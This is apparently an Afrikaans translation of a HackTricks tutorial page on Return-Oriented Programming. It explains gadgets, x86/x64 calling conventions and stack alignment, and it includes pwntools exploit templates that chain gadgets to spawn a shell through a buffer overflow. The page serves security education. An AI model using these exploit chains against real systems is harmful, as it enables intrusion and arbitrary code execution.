ROP - Return Oriented Programing

Leer AWS-hacking vanaf nul tot held met htARTE (HackTricks AWS Red Team Expert)!

Ander maniere om HackTricks te ondersteun:

Basiese Inligting

Return-Oriented Programming (ROP) is 'n gevorderde uitbuitingstegniek wat gebruik word om sekuriteitsmaatreëls soos No-Execute (NX) of Data Execution Prevention (DEP) te omseil. In plaas van om shellcode in te spuit en uit te voer, maak 'n aanvaller gebruik van stukke kode wat reeds teenwoordig is in die binêre lêer of in gelaai biblioteke, bekend as "gadgets". Elke gadget eindig tipies met 'n ret instruksie en voer 'n klein operasie uit, soos die skuif van data tussen registre of die uitvoer van rekenkundige operasies. Deur hierdie gadgets aan mekaar te koppel, kan 'n aanvaller 'n lading konstrueer om arbitrêre operasies uit te voer, wat effektief NX/DEP-beskerming omseil.

Hoe ROP Werk

  1. Beheerstroomkaping: Eerstens moet 'n aanvaller die beheerstroom van 'n program kaap, tipies deur 'n buffer-oorvloei te benut om 'n gestoorde terugkeeradres op die stok oor te skryf.

  2. Gadget-ketting: Die aanvaller kies dan sorgvuldig gadgets en koppel hulle aan mekaar om die gewenste aksies uit te voer. Dit kan die opstel van argumente vir 'n funksieoproep, die aanroep van die funksie (bv., system("/bin/sh")), en die hanteer van enige nodige skoonmaak of bykomende operasies insluit.

  3. Ladinguitvoering: Wanneer die kwesbare funksie terugkeer, begin dit in plaas van om na 'n wettige plek terug te keer, die ketting van gadgets uitvoer.

Gereedskap

Gewoonlik kan gadgets gevind word met behulp van ROPgadget, ropper of direk vanuit pwntools (ROP).

ROP-ketting in x86 Voorbeeld

x86 (32-bis) Oproepkonvensies

  • cdecl: Die oproeper maak die stok skoon. Funksie-argumente word in omgekeerde volgorde (regs-na-links) op die stok gedruk. Argumente word van regs na links op die stok gedruk.

  • stdcall: Soortgelyk aan cdecl, maar die ontvanger is verantwoordelik vir die skoonmaak van die stok.

Gadgets Vind

Eerstens, laat ons aanneem dat ons die nodige gadgets binne die binêre lêer of sy gelaai biblioteke geïdentifiseer het. Die gadgets waarin ons belangstel, is:

  • pop eax; ret: Hierdie gadget skuif die boonste waarde van die stok in die EAX-register en keer dan terug, wat ons in staat stel om EAX te beheer.

  • pop ebx; ret: Soortgelyk aan die bogenoemde, maar vir die EBX-register, wat beheer oor EBX moontlik maak.

  • mov [ebx], eax; ret: Skuif die waarde in EAX na die geheueplek wat deur EBX aangedui word en keer dan terug. Dit word dikwels 'n write-what-where gadget genoem.

  • Daarbenewens het ons die adres van die system()-funksie beskikbaar.

ROP-ketting

Met behulp van pwntools berei ons die stok voor vir die uitvoering van die ROP-ketting soos hieronder met die doel om system('/bin/sh') uit te voer, let op hoe die ketting begin met:

  1. 'n ret instruksie vir uitlyningsdoeleindes (opsioneel)

  2. Adres van system-funksie (onder die aanname dat ASLR uitgeskakel is en bekende libc, meer inligting in Ret2lib)

  3. Plekhouer vir die terugkeeradres van system()

  4. "/bin/sh" string-adres (parameter vir stelsel funksie)

from pwn import *

# Assuming we have the binary's ELF and its process
binary = context.binary = ELF('your_binary_here')
p = process(binary.path)

# Find the address of the string "/bin/sh" in the binary
bin_sh_addr = next(binary.search(b'/bin/sh\x00'))

# Address of system() function (hypothetical value)
system_addr = 0xdeadc0de

# A gadget to control the return address, typically found through analysis
ret_gadget = 0xcafebabe  # This could be any gadget that allows us to control the return address

# Construct the ROP chain
rop_chain = [
ret_gadget,    # This gadget is used to align the stack if necessary, especially to bypass stack alignment issues
system_addr,   # Address of system(). Execution will continue here after the ret gadget
0x41414141,    # Placeholder for system()'s return address. This could be the address of exit() or another safe place.
bin_sh_addr    # Address of "/bin/sh" string goes here, as the argument to system()
]

# Flatten the rop_chain for use
rop_chain = b''.join(p32(addr) for addr in rop_chain)

# Send ROP chain
## offset is the number of bytes required to reach the return address on the stack
payload = fit({offset: rop_chain})
p.sendline(payload)
p.interactive()

ROP Ketting in x64 Voorbeeld

x64 (64-biet) Oproepkonvensies

  • Gebruik die System V AMD64 ABI oproepkonvensie op Unix-soortgelyke stelsels, waar die eerste ses heelgetal- of wyservariabele argumente in die register RDI, RSI, RDX, RCX, R8, en R9 oorgedra word. Addisionele argumente word op die stok oorgedra. Die terugvoerwaarde word in RAX geplaas.

  • Die Windows x64 oproepkonvensie gebruik RCX, RDX, R8, en R9 vir die eerste vier heelgetal- of wyservariabele argumente, met addisionele argumente wat op die stok oorgedra word. Die terugvoerwaarde word in RAX geplaas.

  • Register: 64-biet register sluit in RAX, RBX, RCX, RDX, RSI, RDI, RBP, RSP, en R8 tot R15.

Vind Gadgets

Vir ons doel, laat ons fokus op gadgets wat ons sal toelaat om die RDI register in te stel (om die "/bin/sh" string as 'n argument aan system() oor te dra) en dan die system() funksie aan te roep. Ons aanvaar dat ons die volgende gadgets geïdentifiseer het:

  • pop rdi; ret: Haal die boonste waarde van die stok in RDI uit en keer dan terug. Essensieel vir die instelling van ons argument vir system().

  • ret: 'n Eenvoudige terugkeer, nuttig vir stokuitlyn in sommige scenarios.

En ons weet die adres van die system() funksie.

ROP Ketting

Hieronder is 'n voorbeeld wat pwntools gebruik om 'n ROP-ketting op te stel en uit te voer met die doel om system('/bin/sh') op x64 uit te voer:

from pwn import *

# Assuming we have the binary's ELF and its process
binary = context.binary = ELF('your_binary_here')
p = process(binary.path)

# Find the address of the string "/bin/sh" in the binary
bin_sh_addr = next(binary.search(b'/bin/sh\x00'))

# Address of system() function (hypothetical value)
system_addr = 0xdeadbeefdeadbeef

# Gadgets (hypothetical values)
pop_rdi_gadget = 0xcafebabecafebabe  # pop rdi; ret
ret_gadget = 0xdeadbeefdeadbead     # ret gadget for alignment, if necessary

# Construct the ROP chain
rop_chain = [
ret_gadget,        # Alignment gadget, if needed
pop_rdi_gadget,    # pop rdi; ret
bin_sh_addr,       # Address of "/bin/sh" string goes here, as the argument to system()
system_addr        # Address of system(). Execution will continue here.
]

# Flatten the rop_chain for use
rop_chain = b''.join(p64(addr) for addr in rop_chain)

# Send ROP chain
## offset is the number of bytes required to reach the return address on the stack
payload = fit({offset: rop_chain})
p.sendline(payload)
p.interactive()

In hierdie voorbeeld:

  • Ons maak gebruik van die pop rdi; ret instrument om RDI in te stel op die adres van "/bin/sh".

  • Ons spring direk na system() nadat ons RDI ingestel het, met system() se adres in die ketting.

  • ret_gadget word gebruik vir belyn as die teikenomgewing dit vereis, wat meer algemeen is in x64 om behoorlike stakingsbelyning te verseker voordat funksies geroep word.

Stakingsbelyning

Die x86-64 ABI verseker dat die stapel 16-byte gebelyn is wanneer 'n oproepinstruksie uitgevoer word. LIBC, om prestasie te optimaliseer, gebruik SSE-instruksies (soos movaps) wat hierdie belyning vereis. As die stapel nie behoorlik gebelyn is nie (wat beteken dat RSP nie 'n veelvoud van 16 is nie), sal oproepe na funksies soos system misluk in 'n ROP-ketting. Om dit reg te stel, voeg eenvoudig 'n ret gadget by voordat jy system in jou ROP-ketting aanroep.

x86 vs x64 hoofverskil

Aangesien x64 registers gebruik vir die eerste paar argumente, vereis dit dikwels minder gadgets as x86 vir eenvoudige funksie-oproepe, maar die vind en koppel van die regte gadgets kan meer kompleks wees as gevolg van die verhoogde aantal registers en die groter adresruimte. Die verhoogde aantal registers en die groter adresruimte in x64-argitektuur bied beide geleenthede en uitdagings vir uitbuitontwikkeling, veral in die konteks van Return-Oriented Programming (ROP).

ROP-ketting in ARM64 Voorbeeld

ARM64 Basiese beginsels & Oproepkonvensies

Kyk na die volgende bladsy vir hierdie inligting:

pageIntroduction to ARM64v8

Beskerming teen ROP

  • ASLR & PIE: Hierdie beskerming maak dit moeiliker om ROP te gebruik aangesien die adresse van die gadgets tussen uitvoering verander.

  • Stapelkanaries: In geval van 'n BOF, is dit nodig om die stapelkanarie te omseil om terugkeerpunte te oorskryf om 'n ROP-ketting te misbruik.

  • Gebrek aan Gadgets: As daar nie genoeg gadgets is nie, sal dit nie moontlik wees om 'n ROP-ketting te genereer nie.

ROP-gebaseerde tegnieke

Let daarop dat ROP net 'n tegniek is om arbitrêre kode uit te voer. Gebaseer op ROP is baie Ret2XXX-tegnieke ontwikkel:

  • Ret2lib: Gebruik ROP om arbitrêre funksies van 'n gelaai biblioteek met arbitrêre parameters aan te roep (gewoonlik iets soos system('/bin/sh').

pageRet2lib
  • Ret2Syscall: Gebruik ROP om 'n oproep na 'n stelselooproep voor te berei, bv. execve, en maak dit moontlik om arbitrêre opdragte uit te voer.

pageRet2syscall
  • EBP2Ret & EBP Chaining: Die eerste sal EBP misbruik in plaas van EIP om die vloei te beheer en die tweede is soortgelyk aan Ret2lib, maar in hierdie geval word die vloei hoofsaaklik met EBP-adresse beheer (hoewel dit ook nodig is om EIP te beheer).

pageStack Pivoting - EBP2Ret - EBP chaining

Ander Voorbeelde & Verwysings

Leer AWS-hacking van nul tot held met htARTE (HackTricks AWS Red Team Expert)!

Ander maniere om HackTricks te ondersteun:

Last updated